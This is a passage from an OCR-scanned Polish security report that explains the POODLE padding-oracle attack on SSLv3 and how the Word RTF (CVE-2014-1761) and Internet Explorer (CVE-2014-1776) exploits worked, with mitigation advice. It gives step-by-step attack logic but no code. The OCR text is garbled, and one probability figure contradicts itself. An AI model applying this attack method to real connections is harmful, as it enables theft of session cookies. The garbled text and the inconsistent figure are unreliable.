zapisywana jako jego ostatni bajt.

Tre$¢ komunikaciji | | wartos¢ MAC ” uzupetnienie

Strona komunikacji SSL przyjmie szyfrogram, w kto-
rym zmodyfikowana jest ostatnia czes¢ zawierajgca
uzupetnienie, pod warunkiem ze po odszyfrowaniu
ostatni jego bajt bedzie miat poprawng wartosc.
Przyjeto zatozenie, ze atakujgcy moze kontrolowaé
czes¢ zawartosci tekstu jawnego.

W kryptologii atak taki nosi nazwe ataku z wybranym tek-
stem jawnym.
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Aby zrozumie¢ dokfadnie, w jaki sposob przeprowadzany
jest atak, nalezy przesledzi¢ doktadnie, jak wyglada proces
szyfrowania i deszyfrowania.

Przyjmijmy, ze protokét postuguje sie blokami o dtugosci
8 bajtow. By zaszyfrowac¢ wybrane dane, strona nadajgca
wyznacza wartos$¢ funkcji MAC na danych poddawanych
szyfrowaniu, dotgcza jg na koncu i dodaje uzupetnienie —
w ten sposob powstaje tekst jawny. Nastepnie tekst jaw-
ny dzielony jest na bloki o rownej dtugosci. Pierwszy blok
jest poddawany dziataniu operacji XOR z tzw. wektorem
inicjujgcym, a nastepnie szyfrowany ustalonym kluczem.
Wynik o dtugosci 8 bajtow to pierwszy blok szyfrogramu.
Drugi blok tekstu jawnego jest poddawany dziataniu ope-
racji XOR z otrzymanym w poprzednim kroku pierwszym
blokiem szyfrogramu, a nastepnie szyfrowany ustalonym
kluczem, i tak az do ostatniego bloku.

Wykres 25.

Aby odszyfrowa¢ dane, strona odbierajgca uzywa funkcji
deszyfrujacej z ustalonym kluczem na pierwszym 8-bajto-
wym bloku, a nastepnie poddaje XOR otrzymang wartos¢
z wektorem inicjalizujgcym. Pdzniej odszyfrowuje kolejny
8-bajtowy blok tekstu jawnego i poddaje XOR z poprzed-
nim blokiem szyfrogramu. Czynnosci te sg powtarzane na
kolejnych blokach szyfrogramu — az do ostatniego. Uzupet-
nienie jest odrzucane, a wartos¢ MAC jest porownywana
z pozostatg czescig tekstu jawnego. Ten krok okazat sie
kluczowy dla przeprowadzania ataku.
Wykres 26.

Uzupetnienie jest bowiem odrzucane niezaleznie od jego
zawartosci. Jesli mamy wptyw na zawartos¢ tekstu jawne-
go, mozemy doprowadzi¢ do sytuacii, w ktorej caty ostatni
blok bedzie uzupetieniem, czyli — w naszym przyktadzie —
bedzie wypetmiony siedmioma bajtami oraz 6smym bajtem
o wartosci 7. Tak wiec czynnikiem, ktéry zdecyduje, czy
strona odbierajgca (w atakach tego typu nazywana row-
niez wyrocznig) na pytanie, czy tekst jawny jest poprawny,
udzieli odpowiedzi twierdzgcej, bedzie to, czy ostatni bajt
ostatniego bloku tekstu jawnego ma wartos¢ 7. Jesli war-
tos¢ ta jest inna, potozenie wartosci MAC zostanie odczy-
tane btednie, a co za tym idzie, tekst zostanie odrzucony

z powodu niezgodnosci MAC. Po przechwyceniu trans-
misji zamiast ostatniego bloku autorzy ataku wstawiajg
inny, wybrany przez siebie blok szyfrogramu. W tej sytuaciji
strona odbierajgca odszyfruje podsuniety blok szyfrogra-
mu i podda operaciji XOR z poprzednim blokiem. W wyniku
tego powstanie wartos$¢, ktéra zostanie zinterpretowana
jako uzupetnienie. Jej ostatni bajt bedzie zawierat dtugos¢
uzupetnienia i jednoczesnie zdecyduje o wartosci sumy
MAC.

Jesli w naszym przyktadzie ostatni bajt bedzie miat war-
tos¢ 7, suma MAC bedzie poprawna i tekst zostanie przy-
jety przez strone odbierajgcg. W tym przypadku bedziemy
mogli stwierdzi¢, ze ostatni bajt tekstu jawnego odpowia-
dajgcego wybranemu blokowi szyfrogramu ,XORowany”
z ostatnim bajtem poprzedniego bloku szyfru (znanym)
daje wynik 7. Wystarczy znowu ,XORowac” jg z 7, aby
pozna¢ warto$¢ ostatniego bajtu tekstu jawnego wybra-
nego bloku. Jesli strona odbierajgca odrzuci tekst, atakuja-
cy moze zmieni¢ ostatni bajt poprzedniego bloku i wysta¢
szyfrogram jeszcze raz.

Prawdopodobienstwo, ze atakowany bajt tekstu jawnego
ma wartos¢ 7, jest réwne 1/256, co oznacza, ze $rednio
raz na 128 préb bajt zostanie zaakceptowany.

Nastegpnie, majgc kontrole nad czescig tekstu jawnego (np.
Sciezki zadania), mozemy manipulowa¢ dtugoscig tego
fragmentu. Pozycja atakowanego fragmentu (np. ciastecz-
ka) bedzie sie zmieniata tak, by jego kolejne bajty stawaty
sie ostatnimi bajtami ktéregos$ bloku tekstu jawnego. Cia-
steczko o dtugosci 10 bajtéw mozna bedzie wtedy odzy-
skac¢ $rednio po 1280 zapytaniach.

Przeprowadzenie opisywanego ataku mozna uniemozliwic,
jezeli wytgczy sie wsparcie dla protokotu SSLv3 (np. dla
przegladarki internet Explorer mozna to zrobi¢ w ,Panelu
Sterowania”, wybierajac ,Opcje internetowe”, a nastepnie
w zaktadce ,Zaawansowane” odznaczy¢ ,Uzyj SSL 3.07).
Jesli z jakiego$ powodu nie da sie tego zrobi¢, liczbe moz-
liwych do przeprowadzenia na podstawie Poodle atakow
uda sie ograniczy¢, wytaczywszy w przegladarce obstuge
JavaScript. Dla administratoréw, ktérych serwery wspiera-
ja SSLv3, najlepszym wyjsciem jest wytaczenie lub zablo-
kowanie tego protokotu.



Rysunek 56.
Zawartosc ztosliwego pliku RTF

Rysunek 57.
Fragment kodu ActionScript
przeprowadzajgcy heap spraying

Luka CVE-2014-1761 to uszkodzenie pamieci w procesie
programu Word. Zostata ona odkryta przez pracownikéw
Google Security Team i ujawniona 24 marca 2014 roku.
Odnaleziono funkcjonujgce w sieci exploity, ktére opierajg
sie na tej ciekawej podatnosci.

Luka wykorzystuje btgd oprogramowania Microsoft Word
w interpretacji dokumentu RTF. Dokument RTF opisuje,
w jaki sposéb czytnik dokumentéw powinien wyswietlaé
jego zawartos¢. Robi to miedzy innymi za pomocg stéw
kontrolnych (nazywanych rowniez tagami) takich jak:
\comment, \datafield, \date. Stowa kontrolne powinny
by¢ stosowane zgodnie z opublikowanym przez Micro-
soft standardem. Jednak nie da sie wymusi¢ na autorach
dokumentéw przestrzegania tego standardu i kazdy czyt-
nik powinien weryfikowa¢ zgodnos¢ ich tresci ze standar-
dem, zanim przystgpi do jej przetwarzania.

W przypadku luki CVE-2014-1761 zrodtem btedu okazato
sie stowo kontrolne \overridetable i stowa z nim zwigza-
ne. Standard okresla, ze stowo to powinno mie¢ parametr
o wartosci 0, 1 lub 9, natomiast w ztosliwym dokumencie
RTF umieszczony zostat parametr o wartosci 25. Czytnik
Microsoft Word nie sprawdza poprawnos$ci tego parame-
tru, tylko przystepuje do dalszego przetwarzania zawarto-
Sci, w wyniku czego powstajg kolejne btedy. Jednym z nich
jest btedna interpretacja typu obiektu. Dzieki temu atakujg-
cy uzyskuje kontrole nad elementami obiektu, do ktorych
nie powinien mie¢ dostepu. Dodatkowo, odpowiednio for-
mutujgc zawarto$¢ dokumentu, moze zmusi¢ czytnik do
wywotania metody obiektu, ktéry zostat zmodyfikowany,
i tym samym przeja¢ kontrole nad sterowaniem wykonania
kodu w watku.
Rysunek 56.
Zaznaczono wykorzystywane stowo kluczowe
oraz fragment shellcode.

Autor exploitu wykorzystuje fakt, ze biblioteka mscomctl.
dll nie wspiera mechanizmu ASLR' oraz ze znana jest mu
dokfadnie struktura pamieci w obszarze, w ktérym jest ona
zatadowana. Dzigki temu moze skonstruowac shellcode
ROP, oming¢ reszte funkcjonujgcych w systemie zabezpie-
czen i ostatecznie wykonac swaoj kod.

Luka zaczefa by¢ stosowana w atakach przeciwko uzyt-
kownikom systemu Windows. Jej pierwsze wykorzystanie
zostato zarejestrowane 2 kwietnia. Zaobserwowano m.in.
préby zainstalowania trojana Cueisfry oraz Havex w kam-
paniach APT (Advanced Persistent Threat), czyli ukierunko-
wanych dziataniach wywiadowczych.
Luka CVE-2014-1776 to uszkodzenie pamigci w przegla-
darce Internet Explorer ujawnione 26 kwietnia 2014 roku.
Badacze, ktorzy jg odkryli i koordynowali jej tatanie z fir-
ma Microsoft, twierdzili, ze byta to czes¢ trwajacej wtasnie
kampanii atakow nazwanej pézniej Operation Clandestine
Fox.
Gdy uzytkownik wchodzi na ztosliwg strone WWW, pobie-
ra i otwiera specjalnie przygotowany plik Flash. Aktywna
zawarto$¢ znajdujgca sie w pliku przeprowadza proces
heap spraying, czyli przygotowuje pamie¢ procesu prze-
gladarki do przeprowadzenia wiamania, umieszczajac
w niej dane, ktdre w trakcie wtamania zostang zinterpreto-
wane jako kod. Nastepnie kod JavaScript umieszczony na
stronie deszyfruje swojg kolejng czes¢ i w efekcie dopro-
wadza do powstania btedu typu use-after-free. Exploit
przygotowuje shellcode ROP i zmienia wskaznik stosu tak,
by na niego wskazywat. Po catkowitym przejeciu sterowa-
nia kodem w watku przeglgdarki przystepuje do pobierania
sktadnikbw malware z sieci internet.

Rysunek 57.

Wedtug informacji opublikowanych na stronie Microsoft
podatna jest przegladarka Internet Explorer w wersjach
6-11 (czyli praktycznie wszystkie obecnie uzywane), jed-
nak atakujgcy wybierali na cele gtownie wersje 9-11.

Aby zabezpieczy¢ sie przed exploitami atakujgcymi ele-
menty systemu Windows, warto korzysta¢ z zestawu
EMET2° zawierajgcego narzedzia znacznie ograniczajgce-
go mozliwosci przejecia kontroli nad wykonaniem kodu.
Skutecznos¢ zestawu zostata potwierdzona m.in. w trak-
cie testowania omawianego ataku. Nie zapominajmy oczy-
wiscie o regularnym aktualizowaniu przegladarki interne-
towej.

9 Address Space Layout Randomization — funkcjonalno$¢ systemu operacyjnego przydzielajaca kluczowym elementom aplikacji losowe miejsca w pamigci
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